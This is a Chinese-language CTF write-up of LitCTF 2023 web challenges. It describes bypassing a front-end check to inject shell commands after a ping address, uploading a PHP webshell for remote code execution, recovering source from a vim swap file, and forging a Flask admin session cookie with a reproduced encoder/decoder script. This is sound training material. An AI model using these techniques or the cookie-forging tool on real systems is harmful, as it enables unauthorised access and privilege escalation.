2023LitCTF部分web题解

千里之行，始于足下。

这次我就重点记一下一些没做出来的或者学到东西的题目；

---

[LitCTF 2023]导弹迷踪

看来哥们眼神不大好，在源码game.js中是直接有flag的

[LitCTF 2023]Follow me and hack me

这题就是根据要求构造get参数和post参数就可以的拿到flag

[LitCTF 2023]Ping 

这题打开，发现有个输入框，提示你ping一下

也就是测试计算机之间是否连通啦

发现，当输入IP地址，他还真能ping，如果输入别的不是IP的东西，就会有提示说不行。

猜测是前端验证输入，尝试Burpsuite抓包绕过一下，先输入IP，抓包改掉变成别的没有错误显示，说明的确是前端验证

 

那为什么输入ip能ping呢 ?服务器那边应该就是把我们的输入的IP拼到ping命令上，那我们加个分号再写其他命令就好了，所以抓包后可以把command改成127.0.0.1;command这样的，ping完了也可以回显我们需要的，那我们先一层层ls，最后把连接根目录的flag，就OK了；

 [LitCTF 2023]1zjs

现在我发现，储存在js源码的flag可以是明文储存，也有可能是给你flag的路径，还有可能保存在js变量里，这属于第二种，根据注释里的flag访问

发现了一堆奇形怪状的编码，大概是JSFuck，然后解码后去掉[]得到flag；

  

[LitCTF 2023]作业管理系统 

一开始是这样子的。随便输入密码和用户名。然后抓包试试看，发现其用户名和密码都是admin，用这个登陆就可以了。

然后开始上传文件，这居然连个前端过滤都没有，那就直接把一句话木马传上去就可以了，同时我们还发现他是上传至当前目录下的，那就当前目录下访问木马，进行RCE，读取flag就可以了

flag=NSSCTF{54502513-6151-49f6-a9c8-9b79ed5d4aab}

 [LitCTF 2023]Vim yyds

首先扫一下目录，发现了有这个swp文件

然后访问，获得文件后，查询可知swp文件是vim编辑器的缓存文件，可以通过其恢复vim的编辑内容

vim -r .index.php.swp

 然后我们就发现这个是网站的源码

 看php部分，发现，如果POST参数等于password变量被base64编码后的结果，就可以在post参数

里执行系统命令，那我们构造payload如下发包即可获得flag 

 [LitCTF 2023]Flag点击就送！

 首先说只有管理员权限才能获得flag，但是输入管理员admin后，发现并没有什么用，回显是“你怎么可能是管理员哦！”，另外，虽然能在目录扫描里发现flag，但实际上访问不到；那就普通个名字进去吧

进去后，点击获取flag，也被告知权限不够；然后F12看看network，在cookies里发现了发现了一个response session cookie值

这个response cookie是服务器回显什么信息的依据，管理员的cookie回显管理员的内容，那我们可以伪造管理员cookie

不过要说明的是，cookie一般经过某个secret_key加密。那我们尝试用脚本解密，知道其格式后，(在这里格式为{name:xxx})我们就可以伪造，然后把明文用一样的办法加密回去，就得到管理员cookie，就可以回显管理员的内容了（看wp说密码是猜出来的，是比赛的名字LitCTF）

脚本如下：

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
 

使用方法

解密：python flask_session_cookie_manager3.py decode -s 'secret_key' -c '需要解密的session值'

 

加密：python flask_session_cookie_manager3.py encode -s 'secret_key' -t '需要加密的session值'

 获得管理员cookie后用cookie editor上传cookie，并保存。现在有了管理员cookie，再次访问flag，这下就可以获得flag了